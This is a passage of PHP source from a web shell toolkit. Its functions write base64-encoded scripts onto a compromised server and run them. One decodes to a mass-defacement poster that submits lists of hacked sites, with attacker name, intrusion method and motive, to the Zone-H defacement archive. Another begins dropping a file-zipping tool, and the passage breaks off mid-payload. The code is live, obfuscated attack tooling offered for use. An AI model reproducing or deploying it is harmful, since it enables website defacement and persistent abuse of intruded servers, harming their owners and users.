   echo '<iframe src="cgirun/cgi.pr" style="height:500px; width:1000px; border:0px;" name="config">';
   
   }


function yemenzone()
{
   yemenhead();
$zone1 = 'PD9waHANCmZ1bmN0aW9uIFpvbmVIKCR1cmwsICRoYWNrZXIsICRoYWNrbW9kZSwkcmVzb24sICRzaXRlICkNCnsNCgkkayA9IGN1cmxfaW5pdCgpOw0KCWN1cmxfc2V0b3B0KCRrLCBDVVJMT1BUX1VSTCwgJHVybCk7DQoJY3VybF9zZXRvcHQoJGssQ1VSTE9QVF9QT1NULHRydWUpOw0KCWN1cmxfc2V0b3B0KCRrLCBDVVJMT1BUX1BPU1RGSUVMRFMsImRlZmFjZXI9Ii4kaGFja2VyLiImZG9tYWluMT0iLiAkc2l0ZS4iJmhhY2ttb2RlPSIuJGhhY2ttb2RlLiImcmVhc29uPSIuJHJlc29uKTsNCgljdXJsX3NldG9wdCgkayxDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLCB0cnVlKTsNCgljdXJsX3NldG9wdCgkaywgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgdHJ1ZSk7DQoJJGt1YnJhID0gY3VybF9leGVjKCRrKTsNCgljdXJsX2Nsb3NlKCRrKTsNCglyZXR1cm4gJGt1YnJhOw0KfQ0KICAgICAgICAgICAgICAgICAgICAgICAgIyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KCQkJIyAgIFpvbmUgSCBBdHRhY2tlcg0KCQkJIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KCQkJIGlmKCRfUE9TVFsnU2VuZE5vd1RvWm9uZUgnXSkNCgkJCXsNCgkJCSRjb25uZWN0X3RpbWVvdXQ9NTsNCgkJCQlzZXRfdGltZV9saW1pdCgwKTsNCgkJCW9iX3N0YXJ0KCk7DQoJCQkJJHN1YiA9IEBnZXRfbG9hZGVkX2V4dGVuc2lvbnMoKTsNCgkJCQlpZighaW5fYXJyYXkoImN1cmwiLCAkc3ViKSkNCgkJCQl7DQoJCQkJCWRpZSgnWy1dIEN1cmwgSXMgTm90IFN1cHBvcnRlZCAhISAnKTsNCgkJCQl9DQoJCQkJJGhhY2tlciA9ICRfUE9TVFsnZGVmYWNlciddOw0KCQkJCSRtZXRob2QgPSAkX1BPU1RbJ2hhY2ttb2RlJ107DQoJCQkJJG5lZGVuID0gJF9QT1NUWydyZWFzb24nXTsNCgkJCQkkc2l0ZSA9ICRfUE9TVFsnZG9tYWluJ107DQoJCQkJDQoJCQkJaWYgKGVtcHR5KCRoYWNrZXIpKQ0KCQkJCXsNCgkJCQkJZGllICgiWy1dIFlvdSBNdXN0IEZpbGwgdGhlIEF0dGFja2VyIG5hbWUgISIpOw0KCQkJCX0NCgkJCQllbHNlaWYoJG1ldGhvZCA9PSAiLS0tLS0tLS1TRUxFQ1QtLS0tLS0tLSIpIA0KCQkJCXsNCgkJCQkJZGllKCJbLV0gWW91IE11c3QgU2VsZWN0IFRoZSBNZXRob2QgISIpOw0KCQkJCX0NCgkJCQllbHNlaWYoJG5lZGVuID09ICItLS0tLS0tLVNFTEVDVC0tLS0tLS0tIikgDQoJCQkJew0KCQkJCQlkaWUoIlstXSBZb3UgTXVzdCBTZWxlY3QgVGhlIFJlYXNvbiIpOw0KCQkJCX0NCgkJCQllbHNlaWYoZW1wdHkoJHNpdGUpKSANCgkJCQl7DQoJCQkJCWRpZSgiWy1dIFlvdSBNdXN0IEludGVyIHRoZSBTaXRlcyBMaXN0ICEgIik7DQoJCQkJfQ0KCQkJCSRpID0gMDsNCgkJCQkkc2l0ZXMgPSBleHBsb2RlKCJcbiIsICRzaXRlKTsNCgkJCQl3aGlsZSgkaSA8IGNvdW50KCRzaXRlcykpIA0KCQkJCXsNCgkJCQkJaWYoc3Vic3RyKCRzaXRlc1skaV0sIDAsIDQpICE9ICJodHRwIikgDQoJCQkJCXsNCgkJCQkJCSRzaXRlc1skaV0gPSAiaHR0cDovLyIuJHNpdGVzWyRpXTsNCgkJCQkJfQ0KCQkJCQlab25lSCgiaHR0cDovL3pvbmUtaC5vcmcvbm90aWZ5L3NpbmdsZSIsICRoYWNrZXIsICRtZXRob2QsICRuZWRlbiwgJHNpdGVzWyRpXSk7DQoJCQkJCWVjaG8gIlNpdGUgOiAiLiRzaXRlc1skaV0uIiBEZWZhY2VkICFcbiI7DQoJCQkJCSsrJGk7DQoJCQkJfQ0KCQkJCWVjaG8gIlsrXSBTZW5kaW5nIFNpdGVzIFRvIFpvbmUtSCBIYXMgQmVlbiBDb21wbGV0ZWQgU3VjY2Vzc2Z1bGx5ICEhICI7DQoJCQl9DQo/Pg0KPCFET0NUWVBFIGh0bWwgUFVCTElDICItLy9XM0MvL0RURCBYSFRNTCAxLjAgVHJhbnNpdGlvbmFsLy9FTiIgImh0dHA6Ly93d3cudzMub3JnL1RSL3hodG1sMS9EVEQveGh0bWwxLXRyYW5zaXRpb25hbC5kdGQiPg0KDQo8aHRtbCB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94aHRtbCI+DQoNCjxzdHlsZT4NCg0KYm9keXttYXJnaW46MHB4O2ZvbnQtc3R5bGU6bm9ybWFsO2ZvbnQtc2l6ZToxMHB4O2NvbG9yOiNGRkZGRkY7Zm9udC1mYW1pbHk6VmVyZGFuYSxBcmlhbDtiYWNrZ3JvdW5kLWNvbG9yOiMzYTNhM2E7c2Nyb2xsYmFyLWZhY2UtY29sb3I6ICMwMDAwMDA7c2Nyb2xsYmFyLWhpZ2hsaWdodC1jb2xvcjogIzVkNWQ1ZDtzY3JvbGxiYXItc2hhZG93LWNvbG9yOiAjMTIxMjEyO3Njcm9sbGJhci0zZGxpZ2h0LWNvbG9yOiAjM2EzYTNhO3Njcm9sbGJhci1hcnJvdy1jb2xvcjogIzlkOWQ5ZDtzY3JvbGxiYXItdHJhY2stY29sb3I6ICMzYTNhM2E7c2Nyb2xsYmFyLWRhcmtzaGFkb3ctY29sb3I6ICMzYTNhM2E7fQ0KDQppbnB1dCwNCg0KLmticnRtLHNlbGVjdHtiYWNrZ3JvdW5kOiMwMDAwMDA7Y29sb3I6I0ZGRkZGRjtmb24gdC1mYW1pbHk6VmVyZGFuYSxBcmlhbDtmb250LXNpemU6MTBweDt2ZXJ0aWNhbC1hbGlnbjptaWRkbGU7IGhlaWdodDoxODsgYm9yZGVyLWxlZnQ6MXB4IHNvbGlkICM1ZDVkNWQ7IGJvcmRlci1yaWdodDoxcHggc29saWQgIzEyMTIxMjsgYm9yZGVyLWJvdHRvbToxcHggc29saWQgIzEyMTIxMjsgYm9yZGVyLXRvcDoxcHggc29saWQgIzVkNWQ1ZDt9DQoNCmJ1dHRvbntiYWNrZ3JvdW5kLWNvbG9yOiAjNjY2NjY2OyBmb250LXNpemU6IDhwdDsgY29sb3I6ICNGRkZGRkY7IGZvbnQtZmFtaWx5OiBUYWhvbWE7IGJvcmRlcjogMSBzb2xpZCAjNjY2NjY2O30NCg0KYm9keSx0ZCx0aCB7IGZvbnQtZmFtaWx5OiB2ZXJkYW5hOyBjb2xvcjogI2Q5ZDlkOTsgZm9udC1zaXplOiAxMXB4O31ib2R5IHsgYmFja2dyb3VuZC1jb2xvcjogIzAwMDAwMDt9DQoNCnRleHRhcmVhLG9wdGlvbntiYWNrZ3JvdW5kOiMwMDAwMDA7Y29sb3I6I0ZGRkZGRjtmIG9udC1mYW1pbHk6VmVyZGFuYSxBcmlhbDtmb250LXNpemU6MTBweDt2ZXJ0aWNhbC1hbGlnbjptaWRkbGU7IGJvcmRlci1sZWZ0OjFweCBzb2xpZCAjMTIxMjEyOyBib3JkZXItcmlnaHQ6MXB4IHNvbGlkICM1ZDVkNWQ7IGJvcmRlci1ib3R0b206MXB4IHNvbGlkICM1ZDVkNWQ7IGJvcmRlci10b3A6MXB4IHNvbGlkICMxMjEyMTI7fQ0KDQo8L3N0eWxlPg0KDQoNCjx0aXRsZT5ab25lLUggTWFzcyBEZWZhY2UgUG9zdGVyPC90aXRsZT4NCg0KPHN0eWxlIHR5cGU9InRleHQvY3NzIj4NCg0KLnN0eWxlMSB7DQoNCnRleHQtYWxpZ246IGNlbnRlcjsNCg0KfQ0KDQouc3R5bGUyIHsNCg0KZm9udC13ZWlnaHQ6IGJvbGQ7DQoNCn0NCg0KLnN0eWxlMyB7DQoNCmZvbnQtc2l6ZTogbGFyZ2U7DQoNCmNvbG9yOiAjRkYwMDAwOw0KDQp9DQoNCmRpdiNvcHRpb24gew0KDQpiYWNrZ3JvdW5kOiMwMDAwMDA7Y29sb3I6I0ZGRkZGRjtmb250LWZhbWlseTpWZXJkYW5hLEFyaWFsO2ZvbnQtc2l6ZToxMHB4O3ZlcnRpY2FsLWFsaWduOm1pZGRsZTsgYm9yZGVyLWxlZnQ6MXB4IHNvbGlkICMxMjEyMTI7IGJvcmRlci1yaWdodDoxcHggc29saWQgIzVkNWQ1ZDsgYm9yZGVyLWJvdHRvbToxcHggc29saWQgIzVkNWQ1ZDsgYm9yZGVyLXRvcDoxcHggc29saWQgIzEyMTIxMjsNCg0KDQoNCn0NCg0KPC9zdHlsZT4NCg0KPC9oZWFkPg0KDQo8P3BocA0KIA0KZWNobyAnPGNlbnRlcj4NCg0KDQo8Y2VudGVyPjxmb250IHNpemU9IjQiIGNvbG9yPSIjRkYwMDAwIj5ab25lLWggUG9zdGVyPC9mb250PjwvY2VudGVyPg0KCQk8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0Ij4NCgkJPHRhYmxlIGFsaWduPSJjZW50ZXIiIGNlbGxwYWRkaW5nPSI1IiBib3JkZXI9IjAiPg0KCQk8dHI+DQoNCjx0ZD4NCgkJPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImRlZmFjZXIiIHZhbHVlPSJBdHRhY2tlciIgY2xhc3M9ImJveCIgLz48L3RkPjwvdHI+DQoJCTx0cj48dGQ+DQoJCTxzZWxlY3QgbmFtZT0iaGFja21vZGUiIGNsYXNzPSJib3giPg0KCQkJPG9wdGlvbiA+LS0tLS0tLS1TRUxFQ1QtLS0tLS0tLTwvb3B0aW9uPg0KCQkJPG9wdGlvbiB2YWx1ZT0iMSI+a25vd24gdnVsbmVyYWJpbGl0eSAoaS5lLiB1bnBhdGNoZWQgc3lzdGVtKTwvb3B0aW9uPg0KCQkJPG9wdGlvbiB2YWx1ZT0iMiIgPnVuZGlzY2xvc2VkIChuZXcpIHZ1bG5lcmFiaWxpdHk8L29wdGlvbj4NCgkJCTxvcHRpb24gdmFsdWU9IjMiID5jb25maWd1cmF0aW9uIC8gYWRtaW4uIG1pc3Rha2U8L29wdGlvbj4NCgkJCTxvcHRpb24gdmFsdWU9IjQiID5icnV0ZSBmb3JjZSBhdHRhY2s8L29wdGlvbj4NCgkJCTxvcHRpb24gdmFsdWU9IjUiID5zb2NpYWwgZW5naW5lZXJpbmc8L29wdGlvbj4NCgkJCTxvcHRpb24gdmFsdWU9IjYiID5XZWIgU2VydmVyIGludHJ1c2lvbjwvb3B0aW9uPg0KCQkJPG9wdGlvbiB2YWx1ZT0iNyIgPldlYiBTZXJ2ZXIgZXh0ZXJuYWwgbW9kdWxlIGludHJ1c2lvbjwvb3B0aW9uPg0KCQkJPG9wdGlvbiB2YWx1ZT0iOCIgPk1haWwgU2VydmVyIGludHJ1c2lvbjwvb3B0aW9uPg0KCQkJPG9wdGlvbiB2YWx1ZT0iOSIgPkZUUCBTZXJ2ZXIgaW50cnVzaW9uPC9vcHRpb24+DQoJCQk8b3B0aW9uIHZhbHVlPSIxMCIgPlNTSCBTZXJ2ZXIgaW50cnVzaW9uPC9vcHRpb24+DQoJCQk8b3B0aW9uIHZhbHVlPSIxMSIgPlRlbG5ldCBTZXJ2ZXIgaW50cnVzaW9uPC9vcHRpb24+DQoJCQk8b3B0aW9uIHZhbHVlPSIxMiIgPlJQQyBTZXJ2ZXIgaW50cnVzaW9uPC9vcHRpb24+DQoJCQk8b3B0aW9uIHZhbHVlPSIxMyIgPlNoYXJlcyBtaXNjb25maWd1cmF0aW9uPC9vcHRpb24+DQoJCQk8b3B0aW9uIHZhbHVlPSIxNCIgPk90aGVyIFNlcnZlciBpbnRydXNpb248L29wdGlvbj4NCgkJCTxvcHRpb24gdmFsdWU9IjE1IiA+U1FMIEluamVjdGlvbjwvb3B0aW9uPg0KCQkJPG9wdGlvbiB2YWx1ZT0iMTYiID5VUkwgUG9pc29uaW5nPC9vcHRpb24+DQoJCQk8b3B0aW9uIHZhbHVlPSIxNyIgPkZpbGUgSW5jbHVzaW9uPC9vcHRpb24+DQoJCQk8b3B0aW9uIHZhbHVlPSIxOCIgPk90aGVyIFdlYiBBcHBsaWNhdGlvbiBidWc8L29wdGlvbj4NCgkJCTxvcHRpb24gdmFsdWU9IjE5IiA+UmVtb3RlIGFkbWluaXN0cmF0aXZlIHBhbmVsIGFjY2VzcyBicnV0ZWZvcmNpbmc8L29wdGlvbj4NCgkJCTxvcHRpb24gdmFsdWU9IjIwIiA+UmVtb3RlIGFkbWluaXN0cmF0aXZlIHBhbmVsIGFjY2VzcyBwYXNzd29yZCANCgkJCWd1ZXNzaW5nPC9vcHRpb24+DQoJCQk8b3B0aW9uIHZhbHVlPSIyMSIgPlJlbW90ZSBhZG1pbmlzdHJhdGl2ZSBwYW5lbCBhY2Nlc3Mgc29jaWFsIA0KCQkJZW5naW5lZXJpbmc8L29wdGlvbj4NCgkJCTxvcHRpb24gdmFsdWU9IjIyIiA+QXR0YWNrIGFnYWluc3QgYWRtaW5pc3RyYXRvcihwYXNzd29yZCANCgkJCXN0ZWFsaW5nL3NuaWZmaW5nKTwvb3B0aW9uPg0KCQkJPG9wdGlvbiB2YWx1ZT0iMjMiID5BY2Nlc3MgY3JlZGVudGlhbHMgdGhyb3VnaCBNYW4gSW4gdGhlIE1pZGRsZSANCgkJCWF0dGFjazwvb3B0aW9uPg0KCQkJPG9wdGlvbiB2YWx1ZT0iMjQiID5SZW1vdGUgc2VydmljZSBwYXNzd29yZCBndWVzc2luZzwvb3B0aW9uPg0KCQkJPG9wdGlvbiB2YWx1ZT0iMjUiID5SZW1vdGUgc2VydmljZSBwYXNzd29yZCBicnV0ZWZvcmNlPC9vcHRpb24+DQoJCQk8b3B0aW9uIHZhbHVlPSIyNiIgPlJlcm91dGluZyBhZnRlciBhdHRhY2tpbmcgdGhlIEZpcmV3YWxsPC9vcHRpb24+DQoJCQk8b3B0aW9uIHZhbHVlPSIyNyIgPlJlcm91dGluZyBhZnRlciBhdHRhY2tpbmcgdGhlIFJvdXRlcjwvb3B0aW9uPg0KCQkJPG9wdGlvbiB2YWx1ZT0iMjgiID5ETlMgYXR0YWNrIHRocm91Z2ggc29jaWFsIGVuZ2luZWVyaW5nPC9vcHRpb24+DQoJCQk8b3B0aW9uIHZhbHVlPSIyOSIgPkROUyBhdHRhY2sgdGhyb3VnaCBjYWNoZSBwb2lzb25pbmc8L29wdGlvbj4NCgkJCTxvcHRpb24gdmFsdWU9IjMwIiA+Tm90IGF2YWlsYWJsZTwvb3B0aW9uPg0KCQk8L3NlbGVjdD4NCgkJPC90ZD48L3RyPg0KCQk8dHI+PHRkPg0KCQk8c2VsZWN0IG5hbWU9InJlYXNvbiIgY2xhc3M9ImJveCI+DQoJCQk8b3B0aW9uID4tLS0tLS0tLVNFTEVDVC0tLS0tLS0tPC9vcHRpb24+DQoJCQk8b3B0aW9uIHZhbHVlPSIxIiA+SGVoLi4uanVzdCBmb3IgZnVuITwvb3B0aW9uPg0KCQkJPG9wdGlvbiB2YWx1ZT0iMiIgPlJldmVuZ2UgYWdhaW5zdCB0aGF0IHdlYnNpdGU8L29wdGlvbj4NCgkJCTxvcHRpb24gdmFsdWU9IjMiID5Qb2xpdGljYWwgcmVhc29uczwvb3B0aW9uPg0KCQkJPG9wdGlvbiB2YWx1ZT0iNCIgPkFzIGEgY2hhbGxlbmdlPC9vcHRpb24+DQoJCQk8b3B0aW9uIHZhbHVlPSI1IiA+SSBqdXN0IHdhbnQgdG8gYmUgdGhlIGJlc3QgZGVmYWNlcjwvb3B0aW9uPg0KCQkJPG9wdGlvbiB2YWx1ZT0iNiIgPlBhdHJpb3Rpc208L29wdGlvbj4NCgkJCTxvcHRpb24gdmFsdWU9IjciID5Ob3QgYXZhaWxhYmxlPC9vcHRpb24+DQoJCTwvc2VsZWN0PjwvdGQ+PC90cj4NCgkJPHRyPjx0ZD4NCgkJPHRleHRhcmVhIG5hbWU9ImRvbWFpbiIgY2xhc3M9ImJveCIgY29scz0iNDciIHJvd3M9IjkiPkxpc3QgT2YgRG9tYWluczwvdGV4dGFyZWE+PC90ZD48L3RyPg0KCQk8dHI+PHRkPg0KCQk8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnV0IiB2YWx1ZT0iU2VuZCBOb3cgISIgbmFtZT0iU2VuZE5vd1RvWm9uZUgiIHN0eWxlPSJjb2xvcjogI0ZGMDAwMCIgLz48L2ZvbnQ+PC90ZD4JCQ0KCQk8L2Zvcm0+DQoNCg0KDQo8YnI+DQoNCjwvZGl2Pg0KDQo8L2NlbnRlcj4nOw0KDQoNCg0KDQoNCj8+DQo8Ym9keT4NCjxwIGFsaWduPSJjZW50ZXIiPjxiPg0KPGZvbnQgY29sb3I9IndoaXRlIiBmYWNlPSJHZW9yZ2lhLCIgc2l6ZT0iNSI+PGJyPkNvZGVkIGJ5IEJMQUNLLkphR3VBcjwvZm9udD48Zm9udCBzaXplPSI1Ij4NCjwvZm9udD48L2I+PC9wPg0KPHAgYWxpZ249ImNlbnRlciI+PGEgaHJlZj0iaHR0cDovL3d3dy5hbGp5eW9zaC5jb20vaW1hZ2VzL3llLmdpZiI+DQo8aW1nIGJvcmRlcj0iMCIgc3JjPSJodHRwOi8vd3d3LmFsanl5b3NoLmNvbS9pbWFnZXMveWUuZ2lmIiB3aWR0aD0iMjA1IiBoZWlnaHQ9IjE0OCI+PC9hPjwvcD4NCjwvYm9keT4NCg0KPC9odG1sPg==
';

$file = fopen("zone.php" ,"w+");
$write = fwrite ($file ,base64_decode($zone1));
fclose($file);
echo '<iframe src="zone.php" style="height:500px; width:1500px; border:0px;" name="zone">';
yemenfooter();
}
  
function yemenzip()
{
   yemenhead();
$zip1 = 'PD8NCkBzZXRfdGltZV9saW1pdCgzNjAwKTsNCiRjb25mWydkaXInXSA9ICJuZGt6aXBmaWxl
cyI7DQppZiAoKGlzc2V0KCRfR0VUWydzdGVwJ10pKSYmKCFlbXB0eSgkX0dFVFsnc3RlcCdd
KSkpICRzdGVwPSRfR0VUWydzdGVwJ107IGVsc2UgJHN0ZXA9MDsNCmlmICgoaXNzZXQoJF9H
RVRbJ2Rpcm5hbWUnXSkpJiYoIWVtcHR5KCRfR0VUWydkaXJuYW1lJ10pKSkgJGRpcm5hbWU9
JF9HRVRbJ2Rpcm5hbWUnXTsgZWxzZSAkZGlybmFtZT0iLiI7DQokZGlybmFtZSA9IHN0cl9y
ZXBsYWNlKCIuLi8iLCIiLCRkaXJuYW1lKTsNCmNsYXNzIHppcGZpbGUNCnsNCiAgICB2YXIg
JGRhdGFzZWMgICAgICA9IGFycmF5KCk7DQogICAgdmFyICRjdHJsX2RpciAgICAgPSBhcnJh
eSgpOw0KICAgIHZhciAkZW9mX2N0cmxfZGlyID0gIlx4NTBceDRiXHgwNVx4MDZceDAwXHgw
MFx4MDBceDAwIjsNCiAgICB2YXIgJG9sZF9vZmZzZXQgICA9IDA7DQogICAgZnVuY3Rpb24g
dW5peDJEb3NUaW1lKCR1bml4dGltZSA9IDApIHsNCiAgICAgICAgJHRpbWVhcnJheSA9ICgk
dW5peHRpbWUgPT0gMCkgPyBnZXRkYXRlKCkgOiBnZXRkYXRlKCR1bml4dGltZSk7DQoNCiAg
ICAgICAgaWYgKCR0aW1lYXJyYXlbJ3llYXInXSA8IDE5ODApIHsNCiAgICAgICAgCSR0aW1l
YXJyYXlbJ3llYXInXSAgICA9IDE5ODA7DQogICAgICAgIAkkdGltZWFycmF5Wydtb24nXSAg
ICAgPSAxOw0KICAgICAgICAJJHRpbWVhcnJheVsnbWRheSddICAgID0gMTsNCiAgICAgICAg
CSR0aW1lYXJyYXlbJ2hvdXJzJ10gICA9IDA7DQogICAgICAgIAkkdGltZWFycmF5WydtaW51
dGVzJ10gPSAwOw0KICAgICAgICAJJHRpbWVhcnJheVsnc2Vjb25kcyddID0gMDsNCiAgICAg
ICAgfSAvLyBlbmQgaWYNCg0KICAgICAgICByZXR1cm4gKCgkdGltZWFycmF5Wyd5ZWFyJ10g
LSAxOTgwKSA8PCAyNSkgfCAoJHRpbWVhcnJheVsnbW9uJ10gPDwgMjEpIHwgKCR0aW1lYXJy
YXlbJ21kYXknXSA8PCAxNikgfA0KICAgICAgICAgICAgICAgICgkdGltZWFycmF5Wydob3Vy
cyddIDw8IDExKSB8ICgkdGltZWFycmF5WydtaW51dGVzJ10gPDwgNSkgfCAoJHRpbWVhcnJh
eVsnc2Vjb25kcyddID4+IDEpOw0KICAgIH0gLy8gZW5kIG9mIHRoZSAndW5peDJEb3NUaW1l
KCknIG1ldGhvZA0KDQogICAgZnVuY3Rpb24gYWRkRmlsZSgkZGF0YSwgJG5hbWUsICR0aW1l
ID0gMCkNCiAgICB7DQogICAgICAgICRuYW1lICAgICA9IHN0cl9yZXBsYWNlKCdcXCcsICcv
JywgJG5hbWUpOw0KDQogICAgICAgICRkdGltZSAgICA9IGRlY2hleCgkdGhpcy0+dW5peDJE
b3NUaW1lKCR0aW1lKSk7DQogICAgICAgICRoZXhkdGltZSA9ICdceCcgLiAkZHRpbWVbNl0g
LiAkZHRpbWVbN10NCiAgICAgICAgICAgICAgICAgIC4gJ1x4JyAuICRkdGltZVs0XSAuICRk
dGltZVs1XQ0KICAgICAgICAgICAgICAgICAgLiAnXHgnIC4gJGR0aW1lWzJdIC4gJGR0aW1l
WzNdDQogICAgICAgICAgICAgICAgICAuICdceCcgLiAkZHRpbWVbMF0gLiAkZHRpbWVbMV07
DQogICAgICAgIGV2YWwoJyRoZXhkdGltZSA9ICInIC4gJGhleGR0aW1lIC4gJyI7Jyk7DQoN
CiAgICAgICAgJGZyICAgPSAiXHg1MFx4NGJceDAzXHgwNCI7DQogICAgICAgICRmciAgIC49
ICJceDE0XHgwMCI7ICAgICAgICAgICAgLy8gdmVyIG5lZWRlZCB0byBleHRyYWN0DQogICAg
ICAgICRmciAgIC49ICJceDAwXHgwMCI7ICAgICAgICAgICAgLy8gZ2VuIHB1cnBvc2UgYml0
IGZsYWcNCiAgICAgICAgJGZyICAgLj0gIlx4MDhceDAwIjsgICAgICAgICAgICAvLyBjb21w
cmVzc2lvbiBtZXRob2QNCiAgICAgICAgJGZyICAgLj0gJGhleGR0aW1lOyAgICAgICAgICAg
ICAvLyBsYXN0IG1vZCB0aW1lIGFuZCBkYXRlDQoNCiAgICAgICAgLy8gImxvY2FsIGZpbGUg
aGVhZGVyIiBzZWdtZW50DQogICAgICAgICR1bmNfbGVuID0gc3RybGVuKCRkYXRhKTsNCiAg
ICAgICAgJGNyYyAgICAgPSBjcmMzMigkZGF0YSk7DQogICAgICAgICR6ZGF0YSAgID0gZ3pj
b21wcmVzcygkZGF0YSk7DQogICAgICAgICR6ZGF0YSAgID0gc3Vic3RyKHN1YnN0cigkemRh
dGEsIDAsIHN0cmxlbigkemRhdGEpIC0gNCksIDIpOyAvLyBmaXggY3JjIGJ1Zw0KICAgICAg
ICAkY19sZW4gICA9IHN0cmxlbigkemRhdGEpOw0KICAgICAgICAkZnIgICAgICAuPSBwYWNr
KCdWJywgJGNyYyk7ICAgICAgICAgICAgIC8vIGNyYzMyDQogICAgICAgICRmciAgICAgIC49
IHBhY2soJ1YnLCAkY19sZW4pOyAgICAgICAgICAgLy8gY29tcHJlc3NlZCBmaWxlc2l6ZQ0K
ICAgICAgICAkZnIgICAgICAuPSBwYWNrKCdWJywgJHVuY19sZW4pOyAgICAgICAgIC8vIHVu
Y29tcHJlc3NlZCBmaWxlc2l6ZQ0KICAgICAgICAkZnIgICAgICAuPSBwYWNrKCd2Jywgc3Ry
bGVuKCRuYW1lKSk7ICAgIC8vIGxlbmd0aCBvZiBmaWxlbmFtZQ0KICAgICAgICAkZnIgICAg
ICAuPSBwYWNrKCd2JywgMCk7ICAgICAgICAgICAgICAgIC8vIGV4dHJhIGZpZWxkIGxlbmd0
aA0KICAgICAgICAkZnIgICAgICAuPSAkbmFtZTsNCg0KICAgICAgICAvLyAiZmlsZSBkYXRh
IiBzZWdtZW50DQogICAgICAgICRmciAuPSAkemRhdGE7DQoNCiAgICAgICAgLy8gImRhdGEg
ZGVzY3JpcHRvciIgc2VnbWVudCAob3B0aW9uYWwgYnV0IG5lY2Vzc2FyeSBpZiBhcmNoaXZl
IGlzIG5vdA0KICAgICAgICAvLyBzZXJ2ZWQgYXMgZmlsZSkNCiAgICAgICAgJGZyIC49IHBh
Y2soJ1YnLCAkY3JjKTsgICAgICAgICAgICAgICAgIC8vIGNyYzMyDQogICAgICAgICRmciAu
PSBwYWNrKCdWJywgJGNfbGVuKTsgICAgICAgICAgICAgICAvLyBjb21wcmVzc2VkIGZpbGVz
aXplDQogICAgICAgICRmciAuPSBwYWNrKCdWJywgJHVuY19sZW4pOyAgICAgICAgICAgICAv
LyB1bmNvbXByZXNzZWQgZmlsZXNpemUNCg0KICAgICAgICAvLyBhZGQgdGhpcyBlbnRyeSB0
byBhcnJheQ0KICAgICAgICAkdGhpcyAtPiBkYXRhc2VjW10gPSAkZnI7DQoNCiAgICAgICAg
Ly8gbm93IGFkZCB0byBjZW50cmFsIGRpcmVjdG9yeSByZWNvcmQNCiAgICAgICAgJGNkcmVj
ID0gIlx4NTBceDRiXHgwMVx4MDIiOw0KICAgICAgICAkY2RyZWMgLj0gIlx4MDBceDAwIjsg
ICAgICAgICAgICAgICAgLy8gdmVyc2lvbiBtYWRlIGJ5DQogICAgICAgICRjZHJlYyAuPSAi
XHgxNFx4MDAiOyAgICAgICAgICAgICAgICAvLyB2ZXJzaW9uIG5lZWRlZCB0byBleHRyYWN0
DQogICAgICAgICRjZHJlYyAuPSAiXHgwMFx4MDAiOyAgICAgICAgICAgICAgICAvLyBnZW4g
cHVycG9zZSBiaXQgZmxhZw0KICAgICAgICAkY2RyZWMgLj0gIlx4MDhceDAwIjsgICAgICAg
ICAgICAgICAgLy8gY29tcHJlc3Npb24gbWV0aG9kDQogICAgICAgICRjZHJlYyAuPSAkaGV4
ZHRpbWU7ICAgICAgICAgICAgICAgICAvLyBsYXN0IG1vZCB0aW1lICYgZGF0ZQ0KICAgICAg
ICAkY2RyZWMgLj0gcGFjaygnVicsICRjcmMpOyAgICAgICAgICAgLy8gY3JjMzINCiAgICAg
ICAgJGNkcmVjIC49IHBhY2soJ1YnLCAkY19sZW4pOyAgICAgICAgIC8vIGNvbXByZXNzZWQg
ZmlsZXNpemUNCiAgICAgICAgJGNkcmVjIC49IHBhY2soJ1YnLCAkdW5jX2xlbik7ICAgICAg
IC8vIHVuY29tcHJlc3NlZCBmaWxlc2l6ZQ0KICAgICAgICAkY2RyZWMgLj0gcGFjaygndics
IHN0cmxlbigkbmFtZSkgKTsgLy8gbGVuZ3RoIG9mIGZpbGVuYW1lDQogICAgICAgICRjZHJl
YyAuPSBwYWNrKCd2JywgMCApOyAgICAgICAgICAgICAvLyBleHRyYSBmaWVsZCBsZW5ndGgN
CiAgICAgICAgJGNkcmVjIC49IHBhY2soJ3YnLCAwICk7ICAgICAgICAgICAgIC8vIGZpbGUg
Y29tbWVudCBsZW5ndGgNCiAgICAgICAgJGNkcmVjIC49IHBhY2soJ3YnLCAwICk7ICAgICAg
ICAgICAgIC8vIGRpc2sgbnVtYmVyIHN0YXJ0DQogICAgICAgICRjZHJlYyAuPSBwYWNrKCd2
JywgMCApOyAgICAgICAgICAgICAvLyBpbnRlcm5hbCBmaWxlIGF0dHJpYnV0ZXMNCiAgICAg
ICAgJGNkcmVjIC49IHBhY2soJ1YnLCAzMiApOyAgICAgICAgICAgIC8vIGV4dGVybmFsIGZp
bGUgYXR0cmlidXRlcyAtICdhcmNoaXZlJyBiaXQgc2V0DQoNCiAgICAgICAgJGNkcmVjIC49
IHBhY2soJ1YnLCAkdGhpcyAtPiBvbGRfb2Zmc2V0ICk7IC8vIHJlbGF0aXZlIG9mZnNldCBv
ZiBsb2NhbCBoZWFkZXINCiAgICAgICAgJHRoaXMgLT4gb2xkX29mZnNldCArPSBzdHJsZW4o
JGZyKTsNCg0KICAgICAgICAkY2RyZWMgLj0gJG5hbWU7DQoNCiAgICAgICAgLy8gb3B0aW9u
YWwgZXh0cmEgZmllbGQsIGZpbGUgY29tbWVudCBnb2VzIGhlcmUNCiAgICAgICAgLy8gc2F2
ZSB0byBjZW50cmFsIGRpcmVjdG9yeQ0KICAgICAgICAkdGhpcyAtPiBjdHJsX2RpcltdID0g
JGNkcmVjOw0KICAgIH0gLy8gZW5kIG9mIHRoZSAnYWRkRmlsZSgpJyBtZXRob2QNCg0KICAg
IGZ1bmN0aW9uIGZpbGUoKQ0KICAgIHsNCiAgICAgICAgJGRhdGEgICAgPSBpbXBsb2RlKCcn
LCAkdGhpcyAtPiBkYXRhc2VjKTsNCiAgICAgICAgJGN0cmxkaXIgPSBpbXBsb2RlKCcnLCAk
dGhpcyAtPiBjdHJsX2Rpcik7DQoNCiAgICAgICAgcmV0dXJuDQogICAgICAgICAgICAkZGF0
YSAuDQogICAgICAgICAgICAkY3RybGRpciAuDQogICAgICAgICAgICAkdGhpcyAtPiBlb2Zf
Y3RybF9kaXIgLg0KICAgICAgICAgICAgcGFjaygndicsIHNpemVvZigkdGhpcyAtPiBjdHJs
